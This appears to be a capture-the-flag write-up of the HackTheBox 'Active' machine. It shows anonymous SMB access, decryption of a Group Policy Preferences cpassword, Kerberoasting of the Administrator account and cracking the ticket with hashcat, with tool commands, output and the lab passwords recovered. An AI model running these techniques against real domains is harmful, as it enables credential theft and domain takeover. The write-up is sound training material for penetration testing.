Active is an easy-difficulty HackTheBox Windows machine. Initial SMB enumeration reveals unauthenticated read access to the Replication share, enabling recursive extraction of Group Policy Preference files. Decrypting the embedded AES-256 cpassword attribute using gpp-decrypt recovers valid domain credentials for SVC_TGS. Authenticating as SVC_TGS provides read access to the Users share to retrieve the user flag. Subsequent Active Directory enumeration via impacket-GetUserSPNs uncovers a Kerberoastable Service Principal Name assigned directly to the domain Administrator account. Requesting the TGS ticket and cracking the Kerberos 5 etype 23 hash offline using Hashcat yields the domain administrator password, granting full administrative compromise to recover root.txt.
1. Anonymous SMB Enumeration & Group Policy Preference (GPP) Decryption
1.1 Service Discovery & Share Enumeration
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap active.htb -sC -sV -O -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-27 01:12 -0400 Nmap scan report for active.htb (10.129.17.3) Host is up (0.56s latency). Not shown: 983 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-27 05:13:58Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=10/27%OT=53%CT=1%CU=41005%PV=Y%DS=2%DC=I%G=Y%TM=6AE033 OS:86%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=106%TI=I%CI=I%II=I%SS=S%TS OS:=7)SEQ(SP=103%GCD=1%ISR=106%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=108%GCD=1%IS OS:R=10A%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=FD%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS OS:=S%TS=7)SEQ(SP=FF%GCD=1%ISR=10E%TI=I%CI=I%TS=7)OPS(O1=M542NW8ST11%O2=M54 OS:2NW8ST11%O3=M542NW8NNT11%O4=M542NW8ST11%O5=M542NW8ST11%O6=M542ST11)WIN(W OS:1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000% OS:O=M542NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R= OS:N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U OS:1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF OS:I=N%T=80%CD=Z) Network Distance: 2 hops Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: |_clock-skew: 12s | smb2-security-mode: | 2.1: |_ Message signing enabled and required | smb2-time: | date: 2026-10-27T05:15:39 |_ start_date: 2026-10-27T04:59:55 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 213.35 seconds
Based on the scan results, the following ports and services are open on the target machine.
- Port 53 - Domain Service
- Port 88 - Microsoft Windows Kerberos
- Port 135 - Microsoft Windows RPC
- Ports 139 and 445 - SMB Service
- Ports 389 and 3268 - Microsoft Windows Active Directory LDAP
Since the SMB service is running, I decided to enumerate the SMB service first.
SMB 10.129.17.3 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.17.3 445 DC [+] active.htb\: SMB 10.129.17.3 445 DC [*] Enumerated shares SMB 10.129.17.3 445 DC Share Permissions Remark SMB 10.129.17.3 445 DC ----- ----------- ------ SMB 10.129.17.3 445 DC ADMIN$ Remote Admin SMB 10.129.17.3 445 DC C$ Default share SMB 10.129.17.3 445 DC IPC$ Remote IPC SMB 10.129.17.3 445 DC NETLOGON Logon server share SMB 10.129.17.3 445 DC Replication READ SMB 10.129.17.3 445 DC SYSVOL Logon server share SMB 10.129.17.3 445 DC Users
The Replication SMB share has anonymous read access.
1.2 Unauthenticated File Extraction & GPP Artifact Discovery
I was able to connect to the SMB share anonymously and enumerate the files.
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jul 21 06:37:44 2018
.. D 0 Sat Jul 21 06:37:44 2018
active.htb D 0 Sat Jul 21 06:37:44 2018
10459647 blocks of size 4096. 5210056 blocks available
smb: \> cd active.htb\
smb: \active.htb\> ls
. D 0 Sat Jul 21 06:37:44 2018
.. D 0 Sat Jul 21 06:37:44 2018
DfsrPrivate DHS 0 Sat Jul 21 06:37:44 2018
Policies D 0 Sat Jul 21 06:37:44 2018
scripts D 0 Wed Jul 18 14:48:57 2018Looking through the files, I noticed that I have access to the \active.htb\Policies\ policies directory. This directory contains Group Policy Preferences (GPP) XML configuration files. To enumerate the files locally, I downloaded the share contents to my local machine.
Anonymous login successful
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
.......
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (1.9 KiloBytes/sec) (average 0.7 KiloBytes/sec)After downloading, I found the references/Groups/Groups.xml file, and its contents revealed a username and an encrypted password.
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>1.3 Group Policy Preference Decryption (MS14-025)
Before the MS14-025 security update, Microsoft allowed domain administrators to configure local and domain accounts via Group Policy Preferences.
Windows stored the encrypted password attribute (cpassword) inside XML files residing in SYSVOL or Replication shares. Since these shares must remain readable to domain users, these XML files are often exposed.
I was able to use gpp-decrypt to decrypt the password and retrieve the plain text password.
GPPstillStandingStrong2k18
Domain: active.htb Username: SVC_TGS Password: GPPstillStandingStrong2k18
2. Domain Enumeration & User Flag
2.1 Authenticated Share Enumeration
I decided to enumerate the SMB shares again using the retrieved credentials, and I found that the SVC_TGS user has read access to NETLOGON, SYSVOL and Users shares.
SMB 10.129.17.3 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.17.3 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18 SMB 10.129.17.3 445 DC [*] Enumerated shares SMB 10.129.17.3 445 DC Share Permissions Remark SMB 10.129.17.3 445 DC ----- ----------- ------ SMB 10.129.17.3 445 DC ADMIN$ Remote Admin SMB 10.129.17.3 445 DC C$ Default share SMB 10.129.17.3 445 DC IPC$ Remote IPC SMB 10.129.17.3 445 DC NETLOGON READ Logon server share SMB 10.129.17.3 445 DC Replication READ SMB 10.129.17.3 445 DC SYSVOL READ Logon server share SMB 10.129.17.3 445 DC Users READ
2.2 User Flag
Enumerating the Users with valid credentials, I found that there is a SVC_TGS user directory. Looking through the directory, I was able to retrieve the user flag from the desktop directory.
Password for [WORKGROUP\SVC_TGS]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sat Jul 21 10:39:20 2018
.. DR 0 Sat Jul 21 10:39:20 2018
Administrator D 0 Mon Jul 16 06:14:21 2018
All Users DHSrn 0 Tue Jul 14 01:06:44 2009
Default DHR 0 Tue Jul 14 02:38:21 2009
Default User DHSrn 0 Tue Jul 14 01:06:44 2009
desktop.ini AHS 174 Tue Jul 14 00:57:55 2009
Public DR 0 Tue Jul 14 00:57:55 2009
SVC_TGS D 0 Sat Jul 21 11:16:32 2018
.....
smb: \SVC_TGS\Desktop\> ls
. D 0 Sat Jul 21 11:14:42 2018
.. D 0 Sat Jul 21 11:14:42 2018
user.txt AR 34 Tue Oct 27 01:01:19 2026
get
10459647 blocks of size 4096. 5203320 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)3. Active Directory Kerberoasting & Root Flag
Using the credentials, I was able to extract Active Directory details using bloodhound-python -u SVC_TGS -p 'GPPstillStandingStrong2k18' -d active.htb -ns 10.129.17.3 -c All and analyse using Bloodhound. But the user SVC_TGS does not have any Outbound Object Controls to abuse.
3.1 SPN Enumeration & TGS Extraction
Since I couldn't find anything interesting from Bloodhound, I decided to use impacket-GetUserSPNs to try Kerberoasting.
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ---------- active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2026-10-27 01:01:25.795390
Using the credentials, I was able to submit a TGS Ticket Request, which returns a formatted Kerberos hash.
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ---------- active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2026-10-27 01:01:25.795390 [-] CCache file is not found. Skipping...
Even though it says CCache file is not found. Skipping..., impacket-GetUserSPNs has successfully requested and saved the Kerberos hash for the administrator in the kerberoast.hashes file.
3.2 Offline Hash Cracking
I was able to crack the hash using hashcat mode 13100 and retrieve the plain text password for the administrator.
OpenCL API (OpenCL 3.0 PoCL 7.1+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 21.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
......
84154f0b591c9bce217d437ae64e0c7b3c141c85b5b36d1f5dee9bf0de0836230ca64fbb5d77317e18dd30d7795d86f9b0219db2cc63931ab737f87a26c9a887676e096714be4d15b4250e887604e1b70c5c6ea040779b7e:Ticketmaster1968
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Domain - active.htb User - Administrator Password - Ticketmaster1968
3.3 Root Flag
I was able to use recovered credentials and log in to the Users SMB share as Administrator and retrieve the user flag from the Administrator's desktop directory.
Password for [WORKGROUP\Administrator]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sat Jul 21 10:39:20 2018
.. DR 0 Sat Jul 21 10:39:20 2018
Administrator D 0 Mon Jul 16 06:14:21 2018
All Users DHSrn 0 Tue Jul 14 01:06:44 2009
Default DHR 0 Tue Jul 14 02:38:21 2009
Default User DHSrn 0 Tue Jul 14 01:06:44 2009
desktop.ini AHS 174 Tue Jul 14 00:57:55 2009
Public DR 0 Tue Jul 14 00:57:55 2009
SVC_TGS D 0 Sat Jul 21 11:16:32 2018
10459647 blocks of size 4096. 5202872 blocks available
smb: \> cd Administrator\Desktop
smb: \Administrator\Desktop\> ls
. DR 0 Thu Jan 21 11:49:47 2021
.. DR 0 Thu Jan 21 11:49:47 2021
desktop.ini AHS 282 Mon Jul 30 09:50:10 2018
root.txt AR 34 Tue Oct 27 01:01:19 2026
10459647 blocks of size 4096. 5202872 blocks available
smb: \Administrator\Desktop\> get root.txt
getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)Congrats! We found both flags!
HTB Machine Completion
